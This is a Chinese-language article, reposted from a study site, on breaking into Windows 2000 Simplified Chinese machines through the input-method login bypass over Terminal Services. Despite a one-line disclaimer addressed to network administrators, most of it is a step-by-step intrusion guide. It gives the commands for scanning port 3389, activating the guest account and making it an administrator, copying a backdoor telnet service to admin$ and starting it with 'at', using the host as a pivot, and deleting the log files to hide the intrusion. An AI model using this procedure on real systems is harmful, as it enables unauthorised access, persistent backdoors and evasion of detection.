网络构件:Win2K中文版输入法漏洞入侵攻略 PDF转换可能丢失图片或格式，建议阅读原文 https://www.100test.com/kao_ti2020/250/2021_2022__E7_BD_91_E7_BB_9C_E6_9E_84_E4_c40_250399.htm 注：本文目的在于提醒网管注意，加强网管网络安全意识，提高网管网络安全技术水平，并不赞同用此法进行违法犯罪活动。 WIN2000中文简体版存在的输入法漏洞，可以使本地用户绕过身分验证机制进入系统内部。经实验，WIN2000中文简体版的终端服务，在远程操作时仍然存在这一漏洞，而且危害更大WIN2000的终端服务功能，能使系统管理员对WIN2000进行远程操作，采用的是图形界面，能使用户在远程控制计算机时功能与在本地使用一样，其默认端口为3389，用户只要装了WIN2000的客户端连接管理器就能与开启了该服务的计算机相联。因此这一漏洞使终端服务成为WIN2000的合法木马。工具：客户端连接管理器，下载地址：http://minisql.51.net/rj/WIN.zip，端口扫描器一个，推荐使用：流光、网络刺客2、superscan。入侵步骤：一，获得管理员账号： 我们先对一个网段进行扫描，扫描端口设为3389，运行客户端连接管理器，将扫描到的任一地址加入到，设置好客户端连接管理器，然后与服务器连结。几秒钟后，屏幕上显示出WIN2000登录界面（如果发现是英文或繁体中文版，放弃，另换一个地址），用CTRL SHIFT快速切换输入法，切换至全拼，这时在登录界面左下角将出现输入法状态条（如果没有出现，请耐心等待，因为对方的数据流传输还有一个过程）。用右键点击状态条上的微软徽标，弹出“ 帮助 ”（如果发现“ 帮助 ”呈灰色，放弃，因为对方很可能发现并

已经补上了这个漏洞），打开“ 帮助 ”一栏中“ 操作指南 ”，在最上面的任务栏点击右键，会弹出一个菜单，打开“ 跳至URL ”。此时将出现WIN2000的系统安装路径和要求我们填入的路径的空白栏。比如，该系统安装在Ｃ盘上，就在空白栏中填入"c:\winnt\system32"。然后按“ 确定 ”，于是我们就成功地绕过了身份验证，进入了系统的SYSTEM32目录。现在我们要获得一个账号，成为系统的合法用户。在该目录下找到"net.exe"，为"net.exe"创建一个快捷方式，右键点击该快捷方式，在“ 属性 ”－.“ 目标 ”－.c:\winnt\system32\net.exe后面空一格，填入"user guest /active:yes"点“ 确定 ”。这一步骤目的在于用net.exe激活被禁止使用的guest账户，当然也可以利用"user 用户名 密码／add"，创建一个新账号，但容易引起网管怀疑。运行该快捷方式，此时你不会看到运行状态，但guest用户已被激活。然后又修改该快捷方式，填入"user guest 密码"，运行，于是guest便有了密码。最后，再次修改，填入“ localgroup administrators guest /add，将guest变成系统管理员。注意事项：１、在这过程中，如果对方管理员正在使用终端服务管理器，他将看到你所打开的进程id，你的ip和机器名，甚至能够给你发送消息。２、终端服务器在验证你的身份的时候只留给了你一分钟的时间，在这一分钟内如果你不能完成上述操作，你只能再连结。３、你所看到的图像与操作会有所延迟，这受网速的影响。二，创建跳板：再次登录终端用务器，以"guest"身份进入，此时guest已是系统管理员，已具备一切可执行权。打开“ 控制面板 ”，进入“ 网络和拔号连接 ”，在“ 本地连接 ”或“ 拔号连接 ”中查看属性，看对方是否选择“ Microsoft 网络

的文件和打印机共享”，如果没有，就打上勾。对方如果使用的是拔号上网，下次拔号网络共享才会打开。 退出对方系统，在本地机命令提示符下，输入net use \\IP Address\IPC$ ["password"] /user:"guset"，通过IPC的远程登陆就成功了。登陆成功之后先复制一个Telnet的程序上去（小榕流光安装目录下的Tools目录里的Srv.exe,另外，还有ntml.xex，一会要用），这个程序是在对方上面开一个Telnet服务，端口是99。 copy c:\hack\srv.exe ***.***.***.***\admin$然后利用定时服务启动它，先了解对方的时间：net time ***.***.***.***显示：***.***.***.*** 的当前时间是 2001/1/8 下午 08:55 命令成功完成。然后启动srv.exe:at ***.***.***.*** 09:00 srv.exe 显示：新加了一项作业，其作业 ID = 0过几分钟后，telnet ***.***.***.*** 99 这里不需要验证身份，直接登录，显示：c:\winnt:\system32. 我们就成功登陆上去了。然后又在本地打开命令提示符，另开一个窗口，输入：copy c:\hack\ntlm.exe \\211.21.193.202\admin$把事先存放在hack目录里的ntlm.exe拷过去。然后又回到刚才的telnet窗口，运行ntlm.exe C:\WINNT\system32.ntlm显示：Windows 2000 Telnet Dump, by Assassin, All Rights Reserved. Done!C:\WINNT\system32.C:\WINNT\system32. 好，现在我们来启动WIN2000本身的telnet，首先终止srv.exe的telnet服务：net stop telnet 系统告诉你并没有启动telnet，不理它，继续：net start telnet 这次真的启动了telnet，我们可以在另开的命令提示符窗口telnet到对方的23端口，验证身份，输入我们的guest账号和密码，它就真正成为我们的跳板了。我们可以利用它到其它的主机去。三、扫除脚印：删除为net.exe 创建

的快捷方式，删除winnt\system32\logfiles下边的日志文件补漏方法：1、打补丁2、删除输入法帮助文件3、停止终端服务。